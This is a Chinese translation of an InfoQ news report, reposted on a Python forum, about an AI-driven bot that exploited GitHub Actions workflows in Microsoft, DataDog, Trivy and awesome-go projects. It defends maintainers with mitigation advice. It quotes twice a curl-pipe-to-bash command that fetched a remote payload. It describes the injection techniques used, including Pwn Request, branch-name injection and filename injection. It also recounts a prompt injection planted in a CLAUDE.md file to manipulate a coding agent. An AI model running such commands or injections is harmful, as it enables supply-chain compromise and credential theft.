社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

基于 AI 的机器人攻陷微软、DataDog 和 CNCF 项目中的 GitHub Actions 工作流

InfoQ • 4 月前 • 177 次点击  
  作者 | Steef-Jan Wiggers
  译者 | 张卫滨

近期,一个自主运行的基于 AI 的机器人系统性地利用了主流开源代码库中的 GitHub Actions 工作流,在多个目标上实现远程代码执行并窃取具有写入权限的凭证。StepSecurity 联合创始人 Varun Sharma披露 了这些发生在 2026 年 2 月 21 日至 2 月 28 日期间,针对微软、DataDog、Aqua Security 以及云原生计算基金会项目的攻击。

攻击者使用了 GitHub 账号 hackerbot-claw(现已被 GitHub 移除),自称是“由 claude-opus-4-5 驱动的自主安全研究代理”。该机器人在七个目标代码库中的五个成功实现远程代码执行,包括 awesome-go(超过 14 万个星)、Aqua Security 的 Trivy(超过 2.5 万个星)和 RustPython(超过 2 万个星)。每次攻击都使用相同的攻击载荷,但采用完全不同的攻击技术。

针对 awesome-go 的攻击利用了“Pwn Request”漏洞,即使用 pull_request_target 工作流签出不受信任的分叉代码。在超过 18 小时的时间里,攻击者优化了一个 Go init() 函数,用于对外暴露 GITHUB_TOKEN,从而获得了推送提交和合并拉取请求的权限。

对 Trivy 的攻陷最为严重。构建日志显示,在“Set up Go”阶段执行了 curl -sSfL https://hackmoltrepeat.com/molt | bash,耗时超过 5 分钟,而正常仅需数秒。19 分钟后,窃取的个人访问令牌直接推送了提交。根据 Aqua Security 的 事件披露,攻击者将代码库设为私有,删除了 178 个发布版本,移除了 3.2 万个星标,并推送了一个可疑的 VSCode 扩展。

微软的 ai-discovery-agent 遭到了分支名称注入攻击。DataDog 的 datadawg-iac-scanner 遭受了文件名注入,其中包含 Base64 编码的命令。DataDog在 9 小时内部署了紧急修复。

此次攻击活动包含了首次被记录的 AI 对 AI 攻击。攻击者将代码库中的 CLAUDE.md 文件替换为带有社会工程指令的内容,旨在操纵 Claude Code。运行 claude-sonnet-4-6 的 Claude 立即识别出此次注入,在审查开头标注了 “⚠️ PROMPT INJECTION ALERT — Do Not Merge”。

所有攻击都遵循应用安全中常见的模式,即不受信任的数据从源头流入接收点(sink)而未经过验证。黑客 Jamieson

 O'Reilly解释说:

“源头”指的是数据从外部或不受信任来源进入系统的位置。在 CI/CD 流水线中,源头比大多数人意识到的更广,包括了分支名、拉取请求标题、评论正文、文件名。“接收点”是数据以产生影响的方式被消费的位置。

微软使用了基于 bash 命令替换的分支名;DataDog 使用了 Base64 编码的文件名;awesome-go 被利用的则是 pull_request_target 使用代码库密钥执行分支代码。Trivy 日志显示,curl -sSfL https://hackmoltrepeat.com/molt | bash 在“Set up Go”阶段运行了 5 分钟以上。19 分钟后,窃取的个人访问令牌绕过了拉取请求审查。

O'Reilly 说:

SQL 注入是查询中不受信任的输入,XSS 是浏览器中不受信任的输入。本周发生的事情则是 CI/CD 流水线中不受信任的输入。

五次成功攻击中的三次利用了带有不受信任签出的 pull_request_target,这是经典的 Pwn Request 模式,将 pull_request_target 触发器与签出攻击者控制的分支代码相结合。两次攻击通过在 Shell 上下文中使用未经过滤的 ${{ }}表达式实现了脚本注入。

组织应审计使用 pull_request_target 的工作流,默认将其权限限制为 contents: read,并将上下文表达式移入环境变量,而非直接插入值。由评论触发的工作流需要进行 author_association 检查,限制仅代码库成员可执行它。

O'Reilly 强调说:

每当你编写消费某个值的代码时,都要问自己这个值来自哪里,攻击者是否可以控制它。如果你无法清晰地界定信任边界,那么你很可能根本没有信任边界。

安全研究人员证实,此次攻击活动仍在进行中,攻击者的 GitHub 账号已被移除。专注于 GitHub Actions 安全的研究员 Adnan Khan 向社区发出了关于这一持续威胁的警报。

查看英文原文:

AI-Powered Bot Compromises GitHub Actions Workflows Across Microsoft, DataDog, and CNCF Projects(https://www.infoq.com/news/2026/03/ai-bot-github-actions-exploit/

声明:本文为 InfoQ 翻译,未经许可禁止转载。

点击底部阅读原文访问 InfoQ 官网,获取更多精彩内容!

今日好文推荐
遭谷歌封禁,OpenClaw 创始人首次在 OpenAI 受访吐槽:Gemini 自信“100%能跑”,结果一试就崩
“Token 不用完会焦虑”!Karpathy最新访谈自曝患上 “AI 精神病”:软件世界正在被 Agent 接管
Cursor 新模型被指就是Kimi K2.5,联创回应:确实是,下次我们会说清
Claude Code、Cursor 可能都躲不过一次“大重写”,但 OpenCode 也许是例外
图片

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/194310